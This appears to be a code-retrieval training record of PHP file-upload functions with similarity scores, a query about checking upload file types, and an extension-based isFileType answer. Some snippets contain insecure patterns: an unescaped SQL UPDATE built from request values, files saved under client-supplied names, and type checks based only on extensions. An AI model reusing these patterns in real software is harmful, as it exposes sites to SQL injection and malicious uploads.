Check if upload destination is writable.\n\t\t\tif (is_writable($path)) {\n\t\n\t\t\t\t$errors = array();\n\n\t\t\t\t// In case the $_FILES array consists of multiple files (IE uploads!).\n\t\t\t\tfor ($i = 0; $i < count($_FILES['files']['name']); $i++) {\n\t\n\t\t\t\t\t// Check if file has a valid filename (allowed file type).\n\t\t\t\t\tif (FileSystem::isAllowedFileType($_FILES['files']['name'][$i])) {\n\t\t\t\t\t\t$newFile = $path . Core\\Str::sanitize($_FILES['files']['name'][$i]);\n\t\t\t\t\t\tmove_uploaded_file($_FILES['files']['tmp_name'][$i], $newFile);\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$errors[] = Text::get('error_file_format') . ' \"' . FileSystem::getExtension($_FILES['files']['name'][$i]) . '\"';\n\t\t\t\t\t}\n\t\n\t\t\t\t}\n\n\t\t\t\t$this->clearCache();\n\t\t\n\t\t\t\tif ($errors) {\n\t\t\t\t\t$output['error'] = implode('<br />', $errors);\n\t\t\t\t} \n\n\t\t\t} else {\n\t\t\n\t\t\t\t$output['error'] = Text::get('error_permission') . ' \"' . basename($path) . '\"';\n\t\t\t\t\n\t\t\t}\n\n\t\t}\n\t\t\n\t\treturn $output;\n\t\t\t\n\t}", "public function pushUpload(){\n\t\tif(!empty($_FILES[\"docs\"][\"name\"]))\n\t\t{\n\t\t\tif (Upload::setDirs()){ //Check the necessary directories needed to be created\n\t\t\t\t//Do not create tmp directory if setReplace variable is not set\n\t\t\t\tif(!isset($_POST['replace'])){\n\t\t\t\t\tif(is_dir(self::$tmpSubDir))\n\t\t\t\t\t\tUpload::destroyAll(self::$tmpSubDir); //Remove the previously created temporary directory if exists \n\n\t\t\t\t\tUpload::checkFiles($_FILES[\"docs\"][\"name\"]); //Stores the already existing filename.\n\t\t\t\t\tUpload::setDirs();\n\t\t\t\t\tUpload::uploadConfirm();\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\t$lsTmp = scandir(self::$tmpSubDir);\n\t\t\t\t\tforeach($_POST['setReplace'] as $tmpReplace){\n\t\t\t\t\t\tif(in_array($tmpReplace,$lsTmp)) //checks the array $tmpReplace with the array that has duplicate filesname stored in it\n\t\t\t\t\t\t\tcopy(self::$tmpSubDir.$tmpReplace,self::$subDir.$tmpReplace); //Replace the original one with the new file\t\t\n\t\t\t\t\t}\n\t\t\t\t\tUpload::destroyAll(self::$tmpSubDir);\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t\treturn false;\n\t\t}\n\t}", "public function upload(){\n\n\t\tif(move_uploaded_file($this->tmp_name,$this->uploadFile)){\n\n\t\t\treturn true;\n\n\t\t}\n\n\t\t// throw exception according to error number\n\n\t\tswitch($this->error){\n\n\t\t\tcase 1:\n\n\t\t\tthrow new Exception('Target file exceeds maximum allowed size.');\n\n\t\t\tbreak;\n\n\t\t\tcase 2:\n\n\t\t\tthrow new Exception('Target file exceeds the MAX_FILE_SIZE value specified on the upload form.');\n\n\t\t\tbreak;\n\n\t\t\tcase 3:\n\n\t\t\tthrow new Exception('Target file was not uploaded completely.');\n\n\t\t\tbreak;\n\n\t\t\tcase 4:\n\n\t\t\tthrow new Exception('No target file was uploaded.');\n\n\t\t\tbreak;\n\n\t\t\tcase 6:\n\n\t\t\tthrow new Exception('Missing a temporary folder.');\n\n\t\t\tbreak;\n\n\t\t\tcase 7:\n\n\t\t\tthrow new Exception('Failed to write target file to disk.');\n\n\t\t\tbreak;\n\n\t\t\tcase 8:\n\n\t\t\tthrow new Exception('File upload stopped by extension.');\n\n\t\t\tbreak;\n\n\t\t}\n\n\t}", "public function upload_postAction() {\n\t\t$ret = Common::upload('img', 'Recsite');\n\t\t$imgId = $this->getPost('imgId');\n\t\t$this->assign('code' , $ret['data']);\n\t\t$this->assign('msg' , $ret['msg']);\n\t\t$this->assign('data', $ret['data']);\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n }", "public function testPostFile()\n {\n // TODO: implement\n $this->markTestIncomplete('Not implemented');\n }", "public function handleuploadAction() {\r\n $allowedExtensions = array(\"png\",\"jpg\",\"jpeg\",\"gif\",\"bmp\");\r\n // max file size in bytes\r\n $sizeLimit = 10 * 1024 * 1024;\r\n \r\n $uploader = new qqFileUploader($allowedExtensions, $sizeLimit);\r\n \r\n $dir = \"img/picture\";\r\n \r\n $result = $uploader->handleUpload($dir);\r\n \r\n $image = \\Nette\\Image::fromFile($dir . \"/\" . $result['filename']);\r\n $image->resize(269, 200, \\Nette\\Image::EXACT);\r\n $image->save($dir . \"/\" . $result['filename']);\r\n \r\n // to pass data through iframe you will need to encode all html tags\r\n echo htmlspecialchars(Zend_Json::encode($result), ENT_NOQUOTES);\r\n $this->_helper->layout->disableLayout();\r\n $this->_helper->viewRenderer->setNoRender(TRUE);\r\n }", "function m_uploadImage()\n\t{\n\t\t$fileUpload = new FileUpload();\n\t\t$name=$this->request['img'];\n\t\tif($this->libFunc->checkImageUpload(\"image\"))\n\t\t{\n\t\t\t\t$fileUpload->source = $_FILES[\"image\"][\"tmp_name\"];\n\t\t\t\t$fileUpload->target = $this->imagePath.\"giftwrap/\".$_FILES[\"image\"][\"name\"];\n\t\t\t\t$newName1 = $fileUpload->upload();\n\t\t\t\t$this->obDb->query=\"UPDATE \".GIFTWRAPS.\" set\n\t\t\t\t $name='$newName1' where iGiftwrapid_PK='\".$this->request['id'].\"'\";\n\t\t\t\t$this->obDb->updateQuery();\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->libFunc->m_mosRedirect(SITE_URL.\"sales/adminindex.php?action=promotions.giftwrap.uploadForm&msg=2&img=\".$this->request['img'].\"&id=\".$this->request['id']);\n\t\t}\n\t\t$this->libFunc->m_mosRedirect(SITE_URL.\"sales/adminindex.php?action=promotions.giftwrap.uploadForm&msg=1&img=\".$this->request['img'].\"&id=\".$this->request['id']);\n\t}", "function wp_import_handle_upload()\n {\n }", "function uploadObject();", "public function content_for_upload();", "public function upload_postAction() {\n\t\t$ret = Common::upload('img', 'ad');\n\t\t$imgId = $this->getPost('imgId');\n\t\t$this->assign('code' , $ret['data']);\n\t\t$this->assign('msg' , $ret['msg']);\n\t\t$this->assign('data', $ret['data']);\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n }", "public function upload(){\n if($this->validateFile()){\n if(move_uploaded_file($this->tmpLocation, $this->fullUploadPath)){\n return true;\n }else{\n $this->addError(['Upload Error','File Upload Failed']);\n return false;\n }\n }\n return false;\n }" ]
[ "0.81298476", "0.7758343", "0.75826263", "0.7581226", "0.7535722", "0.7513309", "0.74183625", "0.7401348", "0.7377961", "0.7364495", "0.73098254", "0.72665566", "0.7254059", "0.7252242", "0.723636", "0.7185761", "0.71822536", "0.7133279", "0.70995086", "0.70632946", "0.7062165", "0.7051031", "0.70459217", "0.7031312", "0.6988524", "0.6988266", "0.6968699", "0.6967235", "0.6952076", "0.6938941", "0.69379133", "0.6925203", "0.691458", "0.69139206", "0.69128233", "0.68842155", "0.6873341", "0.6871782", "0.68631727", "0.6856412", "0.68499696", "0.68486434", "0.68482745", "0.684774", "0.6842616", "0.68407786", "0.6830017", "0.6830017", "0.68275017", "0.6822551", "0.6822551", "0.6822551", "0.6822551", "0.6822551", "0.6822551", "0.68120533", "0.68118113", "0.681136", "0.6809244", "0.6804106", "0.67988914", "0.6795882", "0.67934793", "0.6787873", "0.6787412", "0.67844015", "0.67844015", "0.67844015", "0.67844015", "0.6783837", "0.6778412", "0.6775575", "0.6769916", "0.6754137", "0.6750723", "0.6740783", "0.6732861", "0.673234", "0.672819", "0.672518", "0.6721171", "0.6720019", "0.67053676", "0.6703744", "0.6701854", "0.6687021", "0.6681193", "0.6674122", "0.66739506", "0.66712034", "0.66699046", "0.6667347", "0.6653258", "0.66509676", "0.66454434", "0.66404074", "0.66363066", "0.66314614", "0.6629081", "0.6622579", "0.6598659" ]
0.0
-1
to check uploading file type
function isFileType($files) { $allowedExts = array("jpg", "jpeg", "gif", "png", "doc", "docx", "txt", "rtf", "pdf", "xls", "xlsx", "ppt", "pptx"); $temp = explode(".", $files); $extension = end($temp); if (in_array($extension, $allowedExts)) return true; else return false; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "private function checkMimeType()\n {\n $allowedTypes = $this->getSetting('allowed_upload_types', true);\n if (is_string($allowedTypes) && strlen($allowedTypes)) {\n $allowedTypes = str_replace(' ', '', $allowedTypes);\n $allowedTypes = explode(',', $allowedTypes);\n }\n if (is_array($allowedTypes)) {\n if (!in_array($this->file->getMimeType(), $allowedTypes)) {\n throw new FileException('File type is not allowed');\n }\n }\n }", "function isUpload()\n {\n return ($this->type->getTypeName() == 'file');\n }", "function check_upload($file) {\n if (preg_match(\":^application/vnd.bdoc-:\", $file[\"type\"])) {\n $file[\"format\"] = \"bdoc\";\n } else if ($file[\"type\"] === \"application/x-ddoc\") {\n $file[\"format\"] = \"ddoc\";\n } else {\n return FALSE;\n }\n\n return is_uploaded_file($file[\"tmp_name\"]);\n}", "function __checkType($type = null) {\n\t\t$valid = false;\n \tforeach($this->allowedTypes as $allowedType) {\n \t\tif(strtolower($type) == strtolower($allowedType)){\n \t\t$valid = true;\n \t\t}\n \t}\n\t\tif(!$valid) {\n\t\t\t$this->Session->setFlash('You tried to upload an invalid type! Please upload your pictures in jpeg, gif, or png format!');\n\t\t\t$this->redirect(Controller::referer('/'));\n\t\t}\n\t}", "function validateTypeOfFile($type){\n\t$arrFile = ['image/png', 'image/jpg', 'image/jpeg', 'image/gif'];\n\tif(in_array($type, $arrFile)){\n\t\treturn true;\n\t}else{\n\t\treturn false;\n\t}\n}", "public function checkUpload() {}", "public function isUploadedFile() {}", "function testCompatible(){\n\t\tif($this->$imageAsset[\"type\"] == \"image/jpeg\" || $_FILES[\"image_upload_box\"][\"type\"] == \"image/pjpeg\"){\t\n\t\t\t$this->imgType = 'jpg';\n\t\t}\t\t\n\t\t// if uploaded image was GIF\n\t\tif($this->$imageAsset[\"type\"] == \"image/gif\"){\t\n\t\t\t$this->imgType = 'gif';\n\t\t}\t\n\t\t// if uploaded image was PNG\n\t\tif($this->$imageAsset[\"type\"] == \"image/x-png\"){\n\t\t\t$this->imgType = 'png';\n\t\t}\n\t\telse {\n\t\t\t$this->imgType = 'invalid';\n\t\t}\n\t\t\n\t}", "function checkType($type){\n\n $allowed = array('jpg', 'jpeg', 'png');\n $fileExt = explode('/', $type);\n $fileExt = strtolower(end($fileExt));\n return in_array($fileExt, $allowed) ? true : false ;\n\n }", "protected function checkFileUploadEnabled() {}", "private function checkSupportedFile($file_type) {\n return true;\n\n\n }", "public function checkFileType($fileType){\n \t\tif ($fileType == \"application/octet-stream\"){\n \t\t\treturn true;\n \t\t}else{\n \t\t\treturn false;\n \t\t}\n \t}", "public function isImage(){\n if($this->imageFileType != \"jpg\" && $this->imageFileType != \"png\" && $this->imageFileType != \"jpeg\"\n && $this->imageFileType != \"gif\" ) {\n echo \"Sorry, only JPG, JPEG, PNG & GIF files are allowed.<br>\";\n $this->uploadOk = 0;\n }\n return $this->uploadOk;\n }", "function check_file_type($source)\n{\n $file_info = check_mime_type($source);\n\n switch ($file_info) {\n case 'application/pdf':\n return true;\n break;\n\n case 'application/msword':\n return true;\n break;\n\n case 'application/rtf':\n return true;\n break;\n case 'application/vnd.ms-excel':\n return true;\n break;\n\n case 'application/vnd.ms-powerpoint':\n return true;\n break;\n\n case 'application/vnd.oasis.opendocument.text':\n return true;\n break;\n\n case 'application/vnd.oasis.opendocument.spreadsheet':\n return true;\n break;\n \n case 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet':\n return true;\n break;\n\n case 'application/vnd.openxmlformats-officedocument.wordprocessingml.document':\n return true;\n break;\n \n case 'image/gif':\n return true;\n break;\n\n case 'image/jpeg':\n return true;\n break;\n\n case 'image/png':\n return true;\n break;\n\n case 'image/wbmp':\n return true;\n break;\n\n default:\n return false;\n break;\n }\n}", "public function hasFileUpload()\n\t{\n\t\treturn stripos($this->server->get('CONTENT_TYPE'),'multipart/form-data')!==false;\n\t}", "public function mimeTypeValid()\n\t{\n\t\tif (!in_array($this->files['type'], $this->mime_types)) {\n\t\t\tthrow new Exception(\"Invalid file Extension\",6);\n\t\t}\n\t}", "function check_upload_mimes($mimes)\n {\n }", "public function isImage(){\n if(isset($_POST[\"submit\"])) {\n $check = getimagesize($_FILES[\"fileToUpload\"][\"tmp_name\"]);\n if($check !== false) {\n echo \"File is an image - \" . $check[\"mime\"] . \".<br>\";\n $this->uploadOk = 1;\n } else {\n echo \"File is not an image.<br>\";\n $this->uploadOk = 0;\n }\n }\n return $this->uploadOk;\n }", "function wp_check_filetype($filename, $mimes = null) {\n\t$mimes = is_array($mimes) ? $mimes : apply_filters('upload_mimes', array(\n\t\t'jpg|jpeg|jpe' => 'image/jpeg',\n\t\t'gif' => 'image/gif',\n\t\t'png' => 'image/png',\n\t\t'bmp' => 'image/bmp',\n\t\t'tif|tiff' => 'image/tiff',\n\t\t'ico' => 'image/x-icon',\n\t\t'asf|asx|wax|wmv|wmx' => 'video/asf',\n\t\t'avi' => 'video/avi',\n\t\t'mov|qt' => 'video/quicktime',\n\t\t'mpeg|mpg|mpe' => 'video/mpeg',\n\t\t'txt|c|cc|h' => 'text/plain',\n\t\t'rtx' => 'text/richtext',\n\t\t'css' => 'text/css',\n\t\t'htm|html' => 'text/html',\n\t\t'php|php3|' => 'application/php',\n\t\t'mp3|mp4' => 'audio/mpeg',\n\t\t'ra|ram' => 'audio/x-realaudio',\n\t\t'wav' => 'audio/wav',\n\t\t'ogg' => 'audio/ogg',\n\t\t'mid|midi' => 'audio/midi',\n\t\t'wma' => 'audio/wma',\n\t\t'rtf' => 'application/rtf',\n\t\t'js' => 'application/javascript',\n\t\t'pdf' => 'application/pdf',\n\t\t'doc' => 'application/msword',\n\t\t'pot|pps|ppt' => 'application/vnd.ms-powerpoint',\n\t\t'wri' => 'application/vnd.ms-write',\n\t\t'xla|xls|xlt|xlw' => 'application/vnd.ms-excel',\n\t\t'mdb' => 'application/vnd.ms-access',\n\t\t'mpp' => 'application/vnd.ms-project',\n\t\t'swf' => 'application/x-shockwave-flash',\n\t\t'class' => 'application/java',\n\t\t'tar' => 'application/x-tar',\n\t\t'zip' => 'application/zip',\n\t\t'gz|gzip' => 'application/x-gzip',\n\t\t'exe' => 'application/x-msdownload',\n\t\t// openoffice formats\n\t\t'odt' => 'application/vnd.oasis.opendocument.text',\n\t\t'odp' => 'application/vnd.oasis.opendocument.presentation',\n\t\t'ods' => 'application/vnd.oasis.opendocument.spreadsheet',\n\t\t'odg' => 'application/vnd.oasis.opendocument.graphics',\n\t\t'odc' => 'application/vnd.oasis.opendocument.chart',\n\t\t'odb' => 'application/vnd.oasis.opendocument.database',\n\t\t'odf' => 'application/vnd.oasis.opendocument.formula',\n\n\t));\n\n\t$type = false;\n\t$ext = false;\n\n\tforeach ($mimes as $ext_preg => $mime_match) {\n\t\t$ext_preg = '!\\.(' . $ext_preg . ')$!i';\n\t\tif (preg_match($ext_preg, $filename, $ext_matches)) {\n\t\t\t$type = $mime_match;\n\t\t\t$ext = $ext_matches[1];\n\t\t\tbreak;\n\t\t}\n\t}\n\n\treturn compact('ext', 'type');\n}", "function testFileTypes()\r\n {\r\n $nautilus = $this->nautilus->uploadDir('/tmp');\r\n $image = array('name' => $this->testingImage,\r\n 'type' => 'image/jpeg',\r\n 'size' => 542,\r\n 'tmp_name' => $this->testingImage,\r\n 'error' => 0\r\n );\r\n\r\n /* should not accept gif*/\r\n $nautilus->fileTypes(array('gif'));\r\n $this->setExpectedException('Image\\ImageException',' This is not allowed file type!\r\n Please only upload ( gif ) file types');\r\n $upload = $nautilus->upload($image,'nautilus_test_image');\r\n\r\n\r\n /* should not accept png*/\r\n $nautilus->fileTypes(array('png'));\r\n $this->setExpectedException('Image\\ImageException',' This is not allowed file type!\r\n Please only upload ( png ) file types');\r\n $upload = $nautilus->upload($image,'nautilus_test_image');\r\n\r\n /* shouldn't accept this file */\r\n $nautilus->fileTypes(array('exe'));\r\n $this->setExpectedException('Image\\ImageException',' This is not allowed file type!\r\n Please only upload ( exe ) file types');\r\n $upload = $nautilus->upload($image,'nautilus_test_image');\r\n\r\n /* example file is actually jpeg, not jpg */\r\n $nautilus->fileTypes(array('png', 'jpeg'));\r\n $upload = $nautilus->upload($image,'nautilus_test_image');\r\n $this->assertEquals('uploads/nautilus_test_image.jpeg',$upload);\r\n }", "function testFileTypes()\n {\n $bulletproof = $this->bulletproof->uploadDir('/tmp');\n $image = array('name' => $this->testingImage,\n 'type' => 'image/jpeg',\n 'size' => 542,\n 'tmp_name' => $this->testingImage,\n 'error' => 0\n );\n\n /* should not accept gif*/\n $bulletproof->fileTypes(array('gif'));\n $this->setExpectedException('ImageUploader\\ImageUploaderException',' This is not allowed file type!\n Please only upload ( gif ) file types');\n $upload = $bulletproof->upload($image,'bulletproof_test_image');\n\n\n /* should not accept png*/\n $bulletproof->fileTypes(array('png'));\n $this->setExpectedException('ImageUploader\\ImageUploaderException',' This is not allowed file type!\n Please only upload ( png ) file types');\n $upload = $bulletproof->upload($image,'bulletproof_test_image');\n\n /* shouldn't accept this file */\n $bulletproof->fileTypes(array('exe'));\n $this->setExpectedException('ImageUploader\\ImageUploaderException',' This is not allowed file type!\n Please only upload ( exe ) file types');\n $upload = $bulletproof->upload($image,'bulletproof_test_image');\n\n /* example file is actually jpeg, not jpg */\n $bulletproof->fileTypes(array('png', 'jpeg'));\n $upload = $bulletproof->upload($image,'bulletproof_test_image');\n $this->assertEquals('uploads/bulletproof_test_image.jpeg',$upload);\n }", "protected function _validateMimeType()\n\t{\n\t\t$this->_fileType = \\MimeType\\MimeType::getType($this->getFilePath());\n\n\t\tif (!in_array($this->_fileType, $this->_allowedMimeType)) {\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t}", "public function extens(){\n $this->typefl = pathinfo($this->filename, PATHINFO_EXTENSION);\n\n if(!in_array($this->typefl, $this->type)){\n echo \"Wrong extension!!!\";\n return false;\n }\n else{\n return true;\n }\n }", "public function file_check($str)\n {\n\n\n\n echo \"sadasd : \";\n print_r($str);\n print_r($_FILES);\n\n die();\n\n $allowed_mime_type_arr = array('image/gif', 'image/jpeg', 'image/pjpeg', 'image/png', 'image/x-png', 'svg');\n $mime = get_mime_by_extension($_FILES['file']['name']);\n if (isset($_FILES['file']['name']) && $_FILES['file']['name'] != \"\") {\n if (in_array($mime, $allowed_mime_type_arr)) {\n return true;\n } else {\n $this->form_validation->set_message('file_check', 'por favor selecciona solamente gif/jpg/png file.');\n return false;\n }\n } else {\n $this->form_validation->set_message('file_check', 'Selecciona un archivo.');\n return false;\n }\n }", "function validateMimeType($file_name){\r\n // array of acceptable MIME types\r\n $mime_types = [\r\n 'image/png',\r\n 'image/jpeg'\r\n ];\r\n \r\n // determines MIME type\r\n $type = mime_content_type($file_name);\r\n \r\n // check if MIME type is in array of acceptable types\r\n return in_array($type, $mime_types, true);\r\n}", "function Photo_Uploaded_Mime_Type()\n{\n // On assume ici que la photo est valide\n\n $imageFileType = pathinfo(basename($_FILES['un_fichier']['name']), PATHINFO_EXTENSION);\n switch ($imageFileType) {\n case 'jpg':\n case 'JPG':\n return 'image/jpeg';\n\n case 'gif':\n case 'GIF':\n return 'image/gif';\n\n case 'png':\n case 'PNG':\n return 'image/png';\n }\n\n return 'ERROR';\n}", "function check_file_extension($ext, $allowed) {\nif (in_array($ext, $allowed)) {\nreturn true;\n}else {\necho \"Only .txt file allow to be uploaded\";\n}\n}", "function check_image_type($ftype)\n{\n$ext = strtolower(end(explode('.',$ftype)));\n$img_array = array('jpeg','jpg','gif','png');\n\n//\tif($ftype == \"image/jpeg\" || $ftype == \"image/jpg\" || $ftype == \"image/gif\" || $ftype == \"image/png\" )\n\tif(in_array($ext,$img_array))\n\t\treturn 1;\n\t\telse\n\t\t\treturn 0;\n}", "function fileChecker($nome_file){\n \n // controllo che sia stato inviato un file altrimenti restituisco false\n if(empty($_FILES['file'])){\n return false;\n }\n \n // memorizzo l'estensione\n $ext = trim(strtolower(end($nome_file)));\n \n // verifico che sia stato inviato un file contente un foto i formati disponibili sono jpg png jpeg\n if(!preg_match(VALID_FILE_FORMAT, $ext)){\n return false;\n }\n \n return true;\n}", "public function checkImageType()\n {\n if (empty($this->checkImageType)) {\n return true;\n }\n\n if (('image' == substr($this->mediaType, 0, strpos($this->mediaType, '/')))\n || (!empty($this->mediaRealType)\n && 'image' == substr($this->mediaRealType, 0, strpos($this->mediaRealType, '/')))\n ) {\n if (!@getimagesize($this->mediaTmpName)) {\n $this->setErrors(\\XoopsLocale::E_INVALID_IMAGE_FILE);\n return false;\n }\n }\n return true;\n }", "function checkimagetype($imagetype){\n\n\t\t$filetype = array(\n\t\t 'image/bmp', \n\t\t 'image/gif', \n\t\t 'image/icon', \n\t\t 'image/jpeg',\n\t\t 'image/jpg', \n\t\t 'image/png', \n\t\t 'image/tiff', \n\t\t );\n if( in_array($imagetype,$filetype))\n\t\t\treturn true;\n\t\telse \n\t\t\treturn 0;\n\n}", "public function checkMimeType()\n {\n if (empty($this->mediaRealType) && empty($this->allowUnknownTypes)) {\n $this->setErrors(\\XoopsLocale::E_FILE_TYPE_REJECTED);\n return false;\n }\n\n if ((!empty($this->allowedMimeTypes)\n && !in_array($this->mediaRealType, $this->allowedMimeTypes))\n || (!empty($this->deniedMimeTypes)\n && in_array($this->mediaRealType, $this->deniedMimeTypes))\n ) {\n $this->setErrors(sprintf(\\XoopsLocale::EF_FILE_MIME_TYPE_NOT_ALLOWED, $this->mediaType));\n return false;\n }\n return true;\n }", "function checkFilePhoto(string $name)\n{\n if (!($_FILES[$name]['type'] == 'image/png') && !($_FILES[$name]['type'] == 'image/jpeg') && !($_FILES[$name]['type'] == 'image/gif')) {\n return 'Некорректный формат фото';\n }\n}", "public function isAllowedMIMEType()\n {\n if (!empty($this->allowed_upload_mime_type)) {\n if (!is_array($this->allowed_upload_mime_type)) {\n NUCLEUS_Exceptions::catcher(MIME_TYPE_LIST_ERROR);\n return false;\n }\n else {\n if (!in_array($this->_file_info['type'], $this->allowed_upload_mime_type)) {\n NUCLEUS_Exceptions::catcher(UPLOAD_MIME_TYPE_DENIED);\n return false;\n }\n }\n }\n\n return true;\n }", "function checkFileType($imageFileType)\n{\n\n if ($imageFileType == \"c\"||$imageFileType==\"C\"){\n echo \"C file detected!\";\n return 1;\n }\n if ($imageFileType ==\"py\"||$imageFileType==\"PY\"){\n echo \"Python file detected!\";\n return 2;\n\n }\n else{\n echo \"File is not allowed\";\n return 0;\n\n }\n}", "public function getType() {\n if (!isset($_FILES[$this->_file])) {\n return false;\n }\n \n return $_FILES[$this->_file]['type'];\n }", "function validateFile($file){\n\n $check = getimagesize($file[\"tmp_name\"]);\n if($check !== false) {\n $err = \"File is an image - \" . $check[\"mime\"] . \".\";\n $uploadOk = 1;\n } else {\n $err = \"File is not an image.\";\n $uploadOk = 0;\n }\n// Allow certain file formats\nif($file[\"type\"] != \"jpg\" && $file[\"type\"] != \"png\" && $file[\"type\"] != \"jpeg\"\n&& $file[\"type\"] != \"gif\" ) {\n $err = \"Sorry, only JPG, JPEG, PNG & GIF files are allowed.\";\n $uploadOk = 0;\n}\n return ($uploadOk==1)? true : false;\n}", "function availableFileTypes($ext) {\n //checking file type extension\n switch ($ext) {\n //checking txt extention\n case \"txt\":\n $type[0] = \"text/plain\";\n break;\n\n //checking xml extention\n case \"xml\":\n $type[0] = \"text/xml\";\n $type[1] = \"application/xml\";\n break;\n\n //checking csv extention\n case \"csv\":\n $type[0] = \"text/x-comma-separated-values\";\n $type[1] = \"application/octet-stream\";\n $type[2] = \"text/plain\";\n break;\n\n //checking zip extention\n case \"zip\":\n $type[0] = \"application/zip\";\n break;\n\n //checking tar extention\n case \"tar\":\n $type[0] = \"application/x-gzip\";\n break;\n\n //checking ctar extention\n case \"ctar\":\n $type[0] = \"application/x-compressed-tar\";\n break;\n\n //checking pdf extention\n case \"pdf\":\n $type[0] = \"application/pdf\";\n break;\n\n //checking doc extention\n case \"doc\":\n $type[0] = \"application/msword\";\n $type[1] = \"application/octet-stream\";\n break;\n\n //checking xls extention\n case \"xls\":\n $type[0] = \"application/vnd.ms-excel\";\n $type[1] = \"application/vnd.oasis.opendocument.spreadsheet\";\n break;\n\n //checking ppt extention\n case \"ppt\":\n $type[0] = \"application/vnd.ms-powerpoint\";\n break;\n\n //checking jpg extention\n case \"jpg\":\n $type[0] = \"image/jpg\";\n $type[1] = \"image/jpeg\";\n $type[2] = \"image/pjpeg\";\n break;\n\n //checking gif extention\n case \"gif\":\n $type[0] = \"image/gif\";\n break;\n\n //checking png extention\n case \"png\":\n $type[0] = \"image/png\";\n break;\n\n //checking bmp extention\n case \"bmp\":\n $type[0] = \"image/bmp\";\n break;\n\n //checking icon extention\n case \"icon\":\n $type[0] = \"image/x-ico\";\n break;\n\n //checking tfontt extention\n case \"font\":\n $type[0] = \"application/x-font-ttf\";\n break;\n }\n\n return $type;\n }", "protected function isFile() {}", "public function checkFormatAllowed() {\n\t\t$imageFileType = pathinfo(basename($this->value[\"name\"]),PATHINFO_EXTENSION);\n\t\tif((($this->extension == \"\") && ($imageFileType == \"jpg\" || $imageFileType == \"png\" || $imageFileType == \"jpeg\"\n\t\t|| $imageFileType == \"gif\")) || ($this->extension == \"pdf\" && $imageFileType == \"pdf\" )) {\n\t\t return true;\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}", "function validateFileMime(&$model, $fieldData, $fieldName, $allowedMimes = array()) {\n if (empty($fieldData[$fieldName]['tmp_name'])) return true;\n \n $availableMimes = assetMimes();\n \n foreach (!empty($allowedMimes) ? $allowedMimes : array() as $type) {\n if ($type == '*') return true;\n \n # check fileinfo first\n $fileinfo = assetMimeType($fieldData[$fieldName]['tmp_name']);\n if ((!$fileinfo) && (in_array($fileinfo, $availableMimes[$type]))) return true; \n \n # check browser provided mime-type second\n if (in_array($fieldData[$fieldName]['type'], $availableMimes[$type])) return true;\n }\n \n return false;\n }", "public function testIgnoreCheckMimeType() {\n // the check can be disabled\n $up2 = new upload();\n $up2->setIgnoreMimeCheck(true);\n $this->assertTrue($up2->checkMimeType());\n }", "public function validUpload() {\t\n\t\tif($this->file['error'] == 0) {\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}", "public function file_check($str){\n \t$allowed_mime_type_arr = array('application/pdf');\n \tif(isset($_FILES['file']['name']) && $_FILES['file']['name']!=\"\"){\n \t\t$mime = get_mime_by_extension($_FILES['file']['name']);\n \t\tif(in_array($mime, $allowed_mime_type_arr)){\n \t\t\treturn true;\n \t\t}else{\n \t\t\t$this->form_validation->set_message('file_check', 'Extension File Hanya Boleh PDF');\n \t\t\treturn false;\n \t\t}\n \t}else{\n \t\t// $this->form_validation->set_message('file_check', 'Silahkan Pilih File PDF nya.');\n \t\t// return false;\n \t\treturn true;\n \t}\n }", "protected function checkType($file) {\n if (in_array($file['type'], $this->_permitted)) {\n return true;\n } else {\n if (!empty($file['type'])) {\n $this->_messages[] = '4' . $file['name'] . ' is not a permitted file type.';\n }\n return false;\n }\n }", "function verifyUpload( $file ){\n $passed = false; //\tVariável de controle\n if( is_uploaded_file( $file[ \"tmp_name\" ] ) ){\n $ext = $this->getExt( $file[ \"name\" ] );\n if( ( count( $this->allowedExtensions ) == 0 ) || ( in_array( $ext, $this->allowedExtensions ) ) ){\n $passed = true;\n }\n }\n return $passed;\n }", "public function isFile();", "function isImageType($tempFileName)\n{\n\t$isImage = true;\n\t\n\t// Check if image file is actual image type\n $check = exif_imagetype($tempFileName);\n\t\n if ($check === false) \n\t{\n $isImage = false;\n\t}\n\t\n\treturn $isImage;\n}", "function file_tester($file){\n if (htmlentities($file['filename']['type']) == 'text/plain')\n return true;\n else {\n echo \"Please submit correct file type (.txt)\";\n return false;\n }\n}", "public function file_check($str)\n {\n $allowed_mime_types = array('text/x-comma-separated-values', 'text/comma-separated-values', 'application/octet-stream', 'application/vnd.ms-excel', 'application/x-csv', 'text/x-csv', 'text/csv', 'application/csv', 'application/excel', 'application/vnd.msexcel', 'text/plain');\n if (isset($_FILES['file']['name']) && $_FILES['file']['name'] != \"\") {\n $mime = get_mime_by_extension($_FILES['file']['name']);\n $fileAr = explode('.', $_FILES['file']['name']);\n $ext = end($fileAr);\n if (($ext == 'csv') && in_array($mime, $allowed_mime_types)) {\n return true;\n } else {\n $this->form_validation->set_message('file_check', 'Please select only CSV file to upload.');\n return false;\n }\n } else {\n $this->form_validation->set_message('file_check', 'Please select a CSV file to upload.');\n return false;\n }\n }", "private function checkUploadFileMIME($file)\n {\n $flag = 0;\n $file_array = explode(\".\", $file [\"name\"]);\n $file_extension = strtolower(array_pop($file_array));\n\n // 2.through the binary content to detect the file\n switch ($file_extension) {\n case \"xls\" :\n // 2003 excel\n $fh = fopen($file [\"tmp_name\"], \"rb\");\n $bin = fread($fh, 8);\n fclose($fh);\n $strinfo = @unpack(\"C8chars\", $bin);\n $typecode = \"\";\n foreach ($strinfo as $num) {\n $typecode .= dechex($num);\n }\n if ($typecode == \"d0cf11e0a1b11ae1\") {\n $flag = 1;\n }\n break;\n case \"xlsx\" :\n // 2007 excel\n $fh = fopen($file [\"tmp_name\"], \"rb\");\n $bin = fread($fh, 4);\n fclose($fh);\n $strinfo = @unpack(\"C4chars\", $bin);\n $typecode = \"\";\n foreach ($strinfo as $num) {\n $typecode .= dechex($num);\n }\n echo $typecode . 'test';\n if ($typecode == \"504b34\") {\n $flag = 1;\n }\n break;\n }\n // 3.return the flag\n return $flag;\n 